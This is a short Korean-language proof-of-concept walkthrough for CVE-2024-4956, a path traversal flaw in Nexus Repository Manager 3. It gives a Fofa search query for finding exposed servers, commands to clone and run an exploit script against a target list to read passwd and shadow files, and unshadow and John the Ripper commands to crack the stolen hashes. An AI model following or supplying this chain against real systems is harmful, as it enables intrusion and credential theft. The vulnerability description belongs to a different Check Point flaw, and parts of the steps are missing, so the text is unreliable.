
POC - CVE-2024–4956 - Nexus Repository Manager 3 인증되지 않은 경로 탐색
잠재적으로 공격자가 인터넷에 연결되고 Remote Access VPN 또는 Mobile Access Software Blades가 활성화된 Check Point Security Gateways에서 특정 정보를 읽을 수 있습니다. 이 취약점을 완화하는 보안 수정을 사용할 수 있습니다.
관련 정보 읽기 — CVE-2024-4956
면책 조항: 이 개념 증명(POC)은 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 모든 관련 지방, 주, 연방 법률을 준수할 책임은 최종 사용자에게 있습니다. 개발자는 어떠한 책임도 지지 않으며 이 프로그램으로 인해 발생한 오용이나 손해에 대해 책임이 없습니다.
잠재적 대상을 찾으려면 Fofa(Shodan.io와 유사)를 사용하세요:
header="Server: Nexus/3.53.0-01 (OSS)"
먼저 저장소를 클론하세요:
git clone https://github.com/verylazytech/CVE-2024-4956
다음으로 대상(타겟)을 선택하고 다음 형식으로 list.txt 파일에 추가하세요:
Exploit을 실행하세요:
python3 CVE-2024-4956.py -l list.txt
출력은 발견된 passwd 및 shadow 파일입니다:

이제 passwd와 shadow 두 파일을 모두 찾았다면 JohnTheRipper로 해시를 크랙해 볼 수 있습니다. Exploit 실행 후 passwd와 shadow의 2개 파일이 생기므로, 두 파일을 하나로 병합한 후 크랙을 시도할 수 있습니다(저는 rockyou.txt를 사용했지만 다른 비밀번호 워드리스트도 가능합니다):
unshadow passwd shadow > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt